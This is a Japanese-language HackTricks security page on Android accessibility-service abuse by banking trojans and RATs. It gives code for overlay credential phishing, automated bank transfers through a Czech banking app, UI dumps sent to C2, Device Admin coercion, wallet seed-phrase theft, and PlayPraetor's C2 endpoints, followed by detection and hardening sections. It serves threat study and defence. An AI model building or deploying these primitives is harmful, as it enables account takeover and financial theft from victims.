13 KiB
Android Accessibility Service Abuse
{{#include ../../banners/hacktricks-training.md}}
Overview
AccessibilityService
は、障害を持つユーザーが Android デバイスとやり取りするのを支援するために作られました。残念ながら、同じく強力な automation APIs(グローバルナビゲーション、テキスト入力、ジェスチャー送出、オーバーレイウィンドウ…)は、マルウェアによって悪用され、root
権限なしで端末を完全にリモート制御するために利用され得ます。
最新の Android バンキングトロイの木馬や Remote-Access-Trojans (RATs)、例えば PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda などは、同じ手口を踏襲しています:
- 被害者をソーシャルエンジニアリングで誘導し、悪意ある accessibility service を有効化させる(BIND_ACCESSIBILITY_SERVICE 権限は「high-risk」と見なされ、明示的なユーザー操作が必要です)。
- サービスを利用して
- 画面に表示されるすべての UI イベントとテキストをキャプチャする、
- 合成ジェスチャー(
dispatchGesture
)やグローバルアクション(performGlobalAction
)を注入して、攻撃者が望む任意のタスクを自動化する、 - 正規のアプリの上にフルスクリーンオーバーレイを描画する(ウィンドウタイプ TYPE_ACCESSIBILITY_OVERLAY を使用。
SYSTEM_ALERT_WINDOW
のプロンプトは不要!)、 - システムダイアログ上のボタンを被害者に代わってクリックすることで、追加のランタイム権限をサイレントに付与する。
- データを流出させるか、ユーザーが普通の画面を見ている間にリアルタイムで**デバイス上での詐欺(On-Device-Fraud、ODF)**を実行する。
Requesting the permission
<!-- AndroidManifest.xml -->
<service
android:name="com.evil.rat.EvilService"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
android:exported="false">
<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService" />
</intent-filter>
<meta-data android:name="android.accessibilityservice"
android:resource="@xml/evil_accessibility_config"/>
</service>
コンパニオンXMLは、偽のダイアログの見た目を定義します:
<?xml version="1.0" encoding="utf-8"?>
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
android:description="@string/service_description"
android:accessibilityEventTypes="typeAllMask"
android:accessibilityFeedbackType="feedbackGeneric"
android:notificationTimeout="200"
android:canPerformGestures="true"
android:canRetrieveWindowContent="true"/>
リモートUI自動化の基本操作
public class EvilService extends AccessibilityService {
@Override
public void onAccessibilityEvent(AccessibilityEvent event) {
// harvest text or detect foreground app change
}
// Simulate HOME / BACK / RECENTS …
private void navHome() { performGlobalAction(GLOBAL_ACTION_HOME); }
private void navBack() { performGlobalAction(GLOBAL_ACTION_BACK); }
private void openRecents() { performGlobalAction(GLOBAL_ACTION_RECENTS); }
// Generic tap / swipe
public void tap(float x, float y) {
Path p = new Path(); p.moveTo(x, y);
GestureDescription.StrokeDescription s = new GestureDescription.StrokeDescription(p, 0, 50);
dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, null);
}
}
これら2つのAPIsだけで攻撃者は次のことができる:
- 画面ロックを解除し、銀行アプリを開き、そのUIツリーを辿って振込フォームを送信する。
- 表示されるすべての権限ダイアログを承認する。
- Play Store intent経由で追加のAPKをインストール/更新する。
悪用パターン
1. Overlay Phishing (Credential Harvesting)
透明または不透明な WebView
が window manager に追加される:
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
MATCH_PARENT, MATCH_PARENT,
TYPE_ACCESSIBILITY_OVERLAY, // ⬅ bypasses SYSTEM_ALERT_WINDOW
FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL, // touches still reach the real app
PixelFormat.TRANSLUCENT);
wm.addView(phishingView, lp);
被害者は偽フォームに資格情報を入力している間、バックグラウンドのアプリが同じジェスチャを受け取り—「draw over other apps」という怪しいプロンプトは一切表示されません。
詳細な例: Accessibility Overlay Phishing セクション(Tapjacking ページ内)。
2. On-Device Fraud automation
マルウェアファミリー(例: PlayPraetor)は、オペレータが高レベルのコマンド(init
, update
, alert_arr
, report_list
, …)を発行できる永続的な WebSocket チャネルを維持します。サービスはそれらのコマンドを上記の低レベルなジェスチャに変換し、そのデバイスに紐づいた多要素認証を容易にバイパスするリアルタイムの不正トランザクションを実現します。
3. Screen streaming & monitoring
MediaProjection API と RTMP クライアントライブラリを組み合わせることで、RAT はライブフレームバッファを rtmp://<c2>:1935/live/<device_id>
にブロードキャストでき、Accessibility エンジンが UI を操作している間も攻撃者に完璧な状況認識を提供します。
PlayPraetor – コマンド&コントロールのワークフロー
- HTTP(S) heartbeat – ハードコードされたリストを順に試し、あるドメインが
POST /app/searchPackageName
にアクティブな C2 を返すまで繰り返す。 - WebSocket (port 8282) – 双方向の JSON コマンド:
update
– 新しい conf/APKs をプッシュalert_arr
– overlay テンプレートを設定report_list
– ターゲットパッケージ名の一覧を送信heartbeat_web
– keep-alive
- RTMP (port 1935) – ライブ画面/ビデオのストリーミング。
- REST exfiltration –
/app/saveDevice
(フィンガープリント)/app/saveContacts
|/app/saveSms
|/app/uploadImageBase64
/app/saveCardPwd
(銀行認証情報)
ローカルエンジンである AccessibilityService が、これらのクラウドコマンドを物理的な操作に変換します。
Detecting malicious accessibility services
adb shell settings get secure enabled_accessibility_services
- Settings → Accessibility → Downloaded services – Google Play から配布されていないアプリを探す。
- MDM / EMM ソリューションは
ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY
(Android 13+) を適用して sideloaded サービスをブロックできます。 - 実行中のサービスを解析:
adb shell dumpsys accessibility | grep "Accessibility Service"
Hardening recommendations for app developers
- 敏感な View に
android:accessibilityDataSensitive="accessibilityDataPrivateYes"
を設定する(API 34+)。 setFilterTouchesWhenObscured(true)
をFLAG_SECURE
と組み合わせて、tap/overlay hijacking を防ぐ。WindowManager.getDefaultDisplay().getFlags()
やViewRootImpl
API をポーリングして overlays を検出する。Settings.canDrawOverlays()
が有効、または信頼できない Accessibility サービスがアクティブな場合は動作を拒否する。
ATS 自動化 チートシート (Accessibility-driven)
Malware は Accessibility APIs のみで銀行アプリを完全自動化できます。汎用プリミティブ:
// Helpers inside your AccessibilityService
private List<AccessibilityNodeInfo> byText(String t){
AccessibilityNodeInfo r = getRootInActiveWindow();
return r == null ? Collections.emptyList() : r.findAccessibilityNodeInfosByText(t);
}
private boolean clickText(String t){
for (AccessibilityNodeInfo n: byText(t)){
if (n.isClickable()) return n.performAction(ACTION_CLICK);
AccessibilityNodeInfo p = n.getParent();
if (p != null) return p.performAction(ACTION_CLICK);
}
return false;
}
private void inputText(AccessibilityNodeInfo field, String text){
Bundle b = new Bundle(); b.putCharSequence(ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE, text);
field.performAction(ACTION_SET_TEXT, b);
}
private void tap(float x, float y){
Path p = new Path(); p.moveTo(x,y);
dispatchGesture(new GestureDescription.Builder()
.addStroke(new GestureDescription.StrokeDescription(p,0,40)).build(), null, null);
}
例のフロー(チェコ語 → 英語ラベル):
- "Nová platba" (新しい支払い) → クリック
- "Zadat platbu" (支払いを入力) → クリック
- "Nový příjemce" (新しい受取人) → クリック
- "Domácí číslo účtu" (国内口座番号) → フォーカスして
ACTION_SET_TEXT
- "Další" (次へ) → クリック → … "Zaplatit" (支払う) → クリック → PINを入力
フォールバック: カスタムウィジェットのためにテキスト検索が失敗した場合、dispatchGesture
を使ったハードコードされた座標。
また、転送前に limits UI をナビゲートして日次制限を引き上げることで、check_limit
と limit
への事前ステップが見られることもある。
テキストベースの疑似スクリーンストリーミング
低遅延のリモート制御のため、フル動画ストリーミングの代わりに現在のUIツリーのテキスト表現をダンプしてそれを繰り返しC2に送る。
private void dumpTree(AccessibilityNodeInfo n, String indent, StringBuilder sb){
if (n==null) return;
Rect b = new Rect(); n.getBoundsInScreen(b);
CharSequence txt = n.getText(); CharSequence cls = n.getClassName();
sb.append(indent).append("[").append(cls).append("] ")
.append(txt==null?"":txt).append(" ")
.append(b.toShortString()).append("\n");
for (int i=0;i<n.getChildCount();i++) dumpTree(n.getChild(i), indent+" ", sb);
}
これは txt_screen
(単発)や screen_live
(継続)のようなコマンドの基礎です。
Device Admin 強制プリミティブ
Device Admin receiver が有効化されると、これらの呼び出しにより資格情報を取得したり制御を維持したりする機会が増えます:
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(DEVICE_POLICY_SERVICE);
ComponentName admin = new ComponentName(this, AdminReceiver.class);
// 1) Immediate lock
dpm.lockNow();
// 2) Force credential change (expire current PIN/password)
dpm.setPasswordExpirationTimeout(admin, 1L); // may require owner/profile-owner on recent Android
// 3) Disable biometric unlock to force PIN/pattern entry
int flags = DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS;
dpm.setKeyguardDisabledFeatures(admin, flags);
Note: the exact availability of these policies varies by Android version and OEM; validate the device policy role (admin vs owner) during testing.
Crypto wallet seed-phrase extraction patterns
MetaMask、Trust Wallet、Blockchain.com、Phantom に対して観測されたフロー:
- 盗まれた PIN(overlay/Accessibility 経由で取得)または提供されたウォレットパスワードでアンロック。
- 操作: Settings → Security/Recovery → Reveal/Show recovery phrase.
- テキストノードの keylogging、secure-screen bypass、またはテキストが隠されている場合は screenshot OCR によってフレーズを収集。
- セレクタを安定させるために複数ロケール (EN/RU/CZ/SK) をサポートする — 利用可能なら
viewIdResourceName
を優先し、なければ多言語テキストマッチングにフォールバックする。
NFC-relay orchestration
Accessibility/RAT モジュールは、第3段階として専用の NFC-relay アプリ(例: NFSkate)をインストール・起動し、overlay ガイドを注入して被害者を card-present リレー手順に導くこともできる。
Background and TTPs: https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay
References
- PlayPraetor’s evolving threat: How Chinese-speaking actors globally scale an Android RAT
- Android accessibility documentation – Automating UI interaction
- The Rise of RatOn: From NFC heists to remote control and ATS (ThreatFabric)
- GhostTap/NFSkate – NFC relay cash-out tactic (ThreatFabric)
{{#include ../../banners/hacktricks-training.md}}